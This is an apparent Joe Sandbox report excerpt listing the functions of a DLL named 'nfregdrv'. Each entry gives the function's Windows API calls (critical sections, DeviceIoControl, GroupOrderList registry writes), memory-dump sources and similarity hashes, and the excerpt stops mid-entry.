                                                                                                                  Function 10015FC0 Relevance: 13.7, APIs: 9, Instructions: 239COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 10015FFC
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 10016018
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10016046
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2978645861-0
                                                                                                                  • Opcode ID: 40f431bcfea2067bdb45210c7ca3e5ac481c5a134223d9d1211dde7a8a90e341
                                                                                                                  • Instruction ID: 371fddef53dbc4fe45c556ef6c540f006288db7d7992a80969627ba83df88eb7
                                                                                                                  • Opcode Fuzzy Hash: 40f431bcfea2067bdb45210c7ca3e5ac481c5a134223d9d1211dde7a8a90e341
                                                                                                                  • Instruction Fuzzy Hash: C191A875A047009FD321CF28CD80A1AB7E5FF88750F418A6DF94A8B252D735E944CB92
                                                                                                                  Function 10013240 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 207registryCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 10012F40: __snprintf.LIBCMT ref: 10012F6E
                                                                                                                    • Part of subcall function 10012F40: RegOpenKeyExA.KERNELBASE(80000002,?,00000000,00000003,?,?,?,?,?), ref: 10012F89
                                                                                                                    • Part of subcall function 10012E20: RegOpenKeyExA.ADVAPI32(80000002,SYSTEM\CurrentControlSet\Control\GroupOrderList,00000000,00000003,?,?,00000001,?,?,00000000), ref: 10012E39
                                                                                                                  • RegOpenKeyExA.ADVAPI32(80000002,SYSTEM\CurrentControlSet\Control\GroupOrderList,00000000,00000003,?), ref: 1001343E
                                                                                                                  • RegSetValueExA.ADVAPI32(?,PNP_TDI,00000000,00000003,?,00000004), ref: 10013471
                                                                                                                  • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 1001347C
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Open$CloseValue__snprintf
                                                                                                                  • String ID: PNP_TDI$SYSTEM\CurrentControlSet\Control\GroupOrderList$Tcpip$Tdx
                                                                                                                  • API String ID: 955868693-1105926044
                                                                                                                  • Opcode ID: fda263ff1de41ce67b71e2831dee39c8819067ff8ff0548a34e60e809be7e6e4
                                                                                                                  • Instruction ID: 9d99394d333599788a4544cf258fe4bbb44c0789f27ec8b116fc68fb94e8051e
                                                                                                                  • Opcode Fuzzy Hash: fda263ff1de41ce67b71e2831dee39c8819067ff8ff0548a34e60e809be7e6e4
                                                                                                                  • Instruction Fuzzy Hash: 236107715003019BC711DF28C881B9BB7E5FB81794F508B2CF9A59B181E732FA9AC792
                                                                                                                  Function 10003970 Relevance: 12.3, APIs: 8, Instructions: 344COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32 ref: 100039B6
                                                                                                                  • EnterCriticalSection.KERNEL32(10020168), ref: 10003C89
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168), ref: 10003CBA
                                                                                                                  • _malloc.LIBCMT ref: 10003CBE
                                                                                                                  • LeaveCriticalSection.KERNEL32(?), ref: 10003CDD
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168), ref: 10003D10
                                                                                                                  • LeaveCriticalSection.KERNEL32(?), ref: 10003D80
                                                                                                                  • LeaveCriticalSection.KERNEL32(1001AF8C), ref: 10003DA0
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter$_malloc
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2624469294-0
                                                                                                                  • Opcode ID: 73d3a381d48c90c82b24558e07d01c406c18051549b067fe898d807a957dde11
                                                                                                                  • Instruction ID: cb4e14372f68c81d32fb7b051c2ec7f8ea7fe710ba1d4691e8c8f5f753e74d5d
                                                                                                                  • Opcode Fuzzy Hash: 73d3a381d48c90c82b24558e07d01c406c18051549b067fe898d807a957dde11
                                                                                                                  • Instruction Fuzzy Hash: 84D147755043459FE721EF24C98095AB7E9FF88790F02C91DE8999B249DB31FA00CFA2
                                                                                                                  Function 10002EF0 Relevance: 12.3, APIs: 8, Instructions: 344COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32 ref: 10002F36
                                                                                                                  • EnterCriticalSection.KERNEL32(10020168), ref: 10003209
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168), ref: 1000323A
                                                                                                                  • _malloc.LIBCMT ref: 1000323E
                                                                                                                  • LeaveCriticalSection.KERNEL32(?), ref: 1000325D
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168), ref: 10003290
                                                                                                                  • LeaveCriticalSection.KERNEL32(?), ref: 10003300
                                                                                                                  • LeaveCriticalSection.KERNEL32(1001AF8C), ref: 10003320
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter$_malloc
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2624469294-0
                                                                                                                  • Opcode ID: 6e5e0db70783d2082ef5619a72b906c060462fccdc8a4732c9d5e6cd8a7c2023
                                                                                                                  • Instruction ID: 7535f423654ff115b8a10d663302ad89ce6d265461ec07cf54a4ab5d377fff5f
                                                                                                                  • Opcode Fuzzy Hash: 6e5e0db70783d2082ef5619a72b906c060462fccdc8a4732c9d5e6cd8a7c2023
                                                                                                                  • Instruction Fuzzy Hash: 35D159755043459FE721DF54C98095AB7E9FF88790F12CA2DE8998B249DB30FA00CFA2
                                                                                                                  Function 10015980 Relevance: 12.1, APIs: 8, Instructions: 98COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C,?,?,?,?,?,10015F9A,?,?,?,?,00000000,00000000), ref: 10015994
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C,?,?,?,10015F9A,?,?,?,?,00000000,00000000), ref: 100159AA
                                                                                                                  • EnterCriticalSection.KERNEL32(10020168,?,?,?,10015F9A,?,?,?,?,00000000,00000000), ref: 100159BD
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168,?,?,?,10015F9A,?,?,?,?,00000000,00000000), ref: 100159EA
                                                                                                                  • _malloc.LIBCMT ref: 100159EE
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10015A0D
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter$_malloc
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2624469294-0
                                                                                                                  • Opcode ID: 83a868a5a413f7be5035703166637c7b296de766c062b8faf5188e187a6a0587
                                                                                                                  • Instruction ID: 716dd50c4406e69af5a644168b3a8d86a91ffbed9d73fa53db93a722c9a7554d
                                                                                                                  • Opcode Fuzzy Hash: 83a868a5a413f7be5035703166637c7b296de766c062b8faf5188e187a6a0587
                                                                                                                  • Instruction Fuzzy Hash: 86310972601315CFD711CF6CDC80999B7E6EF94262B6A822BF558CF251DB32D8448B92
                                                                                                                  Function 10015AA0 Relevance: 12.1, APIs: 8, Instructions: 98COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C,?,?,?,?,?,1001636E,?,00000000,?,?,00000000,00000000), ref: 10015AB4
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C,?,?,?,1001636E,?,00000000,?,?,00000000,00000000), ref: 10015ACA
                                                                                                                  • EnterCriticalSection.KERNEL32(10020168,?,?,?,1001636E,?,00000000,?,?,00000000,00000000), ref: 10015ADD
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168,?,?,?,1001636E,?,00000000,?,?,00000000,00000000), ref: 10015B0A
                                                                                                                  • _malloc.LIBCMT ref: 10015B0E
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10015B2D
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter$_malloc
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2624469294-0
                                                                                                                  • Opcode ID: 0b1f382d706e44ec0e1a58c49b7b50b2d9c2de06ca5ddb6f4ca569de45bb812b
                                                                                                                  • Instruction ID: 0036e264ff8d4791e783871741635e394cc451c67550918a7cfab00ff319ecfa
                                                                                                                  • Opcode Fuzzy Hash: 0b1f382d706e44ec0e1a58c49b7b50b2d9c2de06ca5ddb6f4ca569de45bb812b
                                                                                                                  • Instruction Fuzzy Hash: BC310B72641355CFD311CF2CDC80999B3E5EF94262B6A422BF559CF252DB32E8448B91
                                                                                                                  Function 10014B10 Relevance: 12.1, APIs: 8, Instructions: 88COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 10014B16
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014B2B
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,002201BC,00000000,00000000,00000000,00000000,?,00000000), ref: 10014B54
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014B5F
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$ControlDeviceEnter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3744975357-0
                                                                                                                  • Opcode ID: 02bb3fff05f25983f8711dfb826126a47c4f04985e71065dc7fb2bdb1fcbf30f
                                                                                                                  • Instruction ID: 02a2f6b1c1c0d08758aff6957e8ee0c5b887a2a9afcc407cdac575b478d4874d
                                                                                                                  • Opcode Fuzzy Hash: 02bb3fff05f25983f8711dfb826126a47c4f04985e71065dc7fb2bdb1fcbf30f
                                                                                                                  • Instruction Fuzzy Hash: 2521E772359311BFF210CBA8ACC6F963399EB84F71F224609F715AA0D1DF70E8448666
                                                                                                                  Function 10014C00 Relevance: 12.1, APIs: 8, Instructions: 88COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 10014C06
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014C1B
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,002201BC,00000000,00000000,00000000,00000000,?,00000000), ref: 10014C44
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014C4F
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$ControlDeviceEnter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3744975357-0
                                                                                                                  • Opcode ID: 19f12ee8c8cf86aad4f1a8f5e61e85f259d81ceda6a06445ab1c933b9452340a
                                                                                                                  • Instruction ID: 4bb90ba6e2ddb0c313f38f00bcf08c1032174cdcc12a3aad3dba23a14210028a
                                                                                                                  • Opcode Fuzzy Hash: 19f12ee8c8cf86aad4f1a8f5e61e85f259d81ceda6a06445ab1c933b9452340a
                                                                                                                  • Instruction Fuzzy Hash: 4A210872351311BFF210C7A8AC85F967399EB88F71F224608F7149A0D1DFB0E94486A5
                                                                                                                  Function 100179F0 Relevance: 12.1, APIs: 8, Instructions: 55synchronizationCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C,00000000,?,10017CBE), ref: 100179F9
                                                                                                                  • ResetEvent.KERNEL32(FFFFFFFF,?,10017CBE), ref: 10017A2E
                                                                                                                  • ResetEvent.KERNEL32(FFFFFFFF,?,10017CBE), ref: 10017A37
                                                                                                                  • ResetEvent.KERNEL32(FFFFFFFF,?,10017CBE), ref: 10017A40
                                                                                                                  • SetEvent.KERNEL32(FFFFFFFF), ref: 10017A67
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C,?,10017CBE), ref: 10017A7C
                                                                                                                  • WaitForSingleObject.KERNEL32(FFFFFFFF,000000FF), ref: 10017A96
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10017AA1
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Event$CriticalResetSection$Leave$EnterObjectSingleWait
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 227606595-0
                                                                                                                  • Opcode ID: 0af12d4d274b4158eff6cb139f5dbd0a4003279a660a605caf6bf13278f8ed7d
                                                                                                                  • Instruction ID: 370ae82c3914d7338aeaefb3dba61d6cd4c1daa1705ad23ed54f4bf6628b88f1
                                                                                                                  • Opcode Fuzzy Hash: 0af12d4d274b4158eff6cb139f5dbd0a4003279a660a605caf6bf13278f8ed7d
                                                                                                                  • Instruction Fuzzy Hash: 93115E729103719FF315DB648C88B5937A9EB4C761F21C319FA29861E1DB30D9418F91
                                                                                                                  Function 100169E0 Relevance: 10.8, APIs: 7, Instructions: 347COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32 ref: 10016A2B
                                                                                                                  • GetTickCount.KERNEL32 ref: 10016B87
                                                                                                                  • GetTickCount.KERNEL32 ref: 10016CFD
                                                                                                                  • EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,7734FFB0,00000000), ref: 10017214
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 1001721F
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$CountEnterTick$Leave
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1274362258-0
                                                                                                                  • Opcode ID: ef1edd5c790a106658f1642739d45defef9679afc4e8f9f2e44516cc589d5311
                                                                                                                  • Instruction ID: 3fd2e9f8bc7037484baf15cc0afc36f40eff77f3799c9f8376e09abcfaaf5b27
                                                                                                                  • Opcode Fuzzy Hash: ef1edd5c790a106658f1642739d45defef9679afc4e8f9f2e44516cc589d5311
                                                                                                                  • Instruction Fuzzy Hash: 9BD15775A04645EFDB10CF14CC80A9AB7F5FF88354F108529F9598B252EB34FA86CBA1
                                                                                                                  Function 1000F36B Relevance: 10.7, APIs: 7, Instructions: 158COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • getSystemCP.LIBCMT ref: 1000F384
                                                                                                                    • Part of subcall function 1000F2F1: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 1000F2FE
                                                                                                                    • Part of subcall function 1000F2F1: GetOEMCP.KERNEL32(00000000,?,1000D589,?,00000000,7622F380), ref: 1000F318
                                                                                                                  • setSBCS.LIBCMT ref: 1000F396
                                                                                                                    • Part of subcall function 1000F06E: _memset.LIBCMT ref: 1000F081
                                                                                                                  • IsValidCodePage.KERNEL32(-00000030,00000000,?,00000000,1001B930), ref: 1000F3DC
                                                                                                                  • GetCPInfo.KERNEL32(00000000,1000F6EE), ref: 1000F3EF
                                                                                                                  • _memset.LIBCMT ref: 1000F407
                                                                                                                  • setSBUpLow.LIBCMT ref: 1000F4DA
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Locale_memset$CodeInfoPageSystemUpdateUpdate::_Valid
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2658552758-0
                                                                                                                  • Opcode ID: a816b4c44936828a5225c1a25b1e8420490dbca548ce3019b9a4bf18463ab438
                                                                                                                  • Instruction ID: 2d63987005470fd1933f97c79db1aac5b43ce9987930df9b1300e43a0dccfd1d
                                                                                                                  • Opcode Fuzzy Hash: a816b4c44936828a5225c1a25b1e8420490dbca548ce3019b9a4bf18463ab438
                                                                                                                  • Instruction Fuzzy Hash: C25112719042568BEB15CF24C8802BFBBE4EF043C1F14846EED869B54AD638DA42EB91
                                                                                                                  Function 10015830 Relevance: 10.6, APIs: 7, Instructions: 95COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 10015845
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10015855
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 1001586D
                                                                                                                  • EnterCriticalSection.KERNEL32(10020168), ref: 10015874
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168), ref: 100158A4
                                                                                                                  • _malloc.LIBCMT ref: 100158A8
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter$_malloc
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2624469294-0
                                                                                                                  • Opcode ID: af66a572ff308366c586223bea1b859f2b64d82aec888bcbbc6575e257e25f9f
                                                                                                                  • Instruction ID: b4838676840f3e74a045a70f2e4b7778d9ead1c68319ad0b4665687bbdc5929c
                                                                                                                  • Opcode Fuzzy Hash: af66a572ff308366c586223bea1b859f2b64d82aec888bcbbc6575e257e25f9f
                                                                                                                  • Instruction Fuzzy Hash: EC31E532A002148FD711DF2CDC81969B3D6FF84261B59866AE828DF291EB32DC548BD1
                                                                                                                  Function 10015510 Relevance: 10.6, APIs: 7, Instructions: 95COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 1001551F
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10015533
                                                                                                                  • __aullrem.LIBCMT ref: 10015558
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C,?,?,00000000,00000000), ref: 1001557E
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter__aullrem
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1392406986-0
                                                                                                                  • Opcode ID: d1b92c9a15aa5841480ea886cd8603e293953e3d95721df58c3ef1283f84292e
                                                                                                                  • Instruction ID: eb2839e93686e6e60da02978a6273212bfb1d6ef73694f74e7e96aae41cfea2c
                                                                                                                  • Opcode Fuzzy Hash: d1b92c9a15aa5841480ea886cd8603e293953e3d95721df58c3ef1283f84292e
                                                                                                                  • Instruction Fuzzy Hash: 002104367006148FD310CB6DEC88A5577EBEF88672F654269FA1CCF291DB32D88486D0
                                                                                                                  Function 10015740 Relevance: 10.6, APIs: 7, Instructions: 78COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 10015753
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10015763
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 1001577A
                                                                                                                  • EnterCriticalSection.KERNEL32(10020168), ref: 10015781
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168), ref: 100157A8
                                                                                                                  • _malloc.LIBCMT ref: 100157AC
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
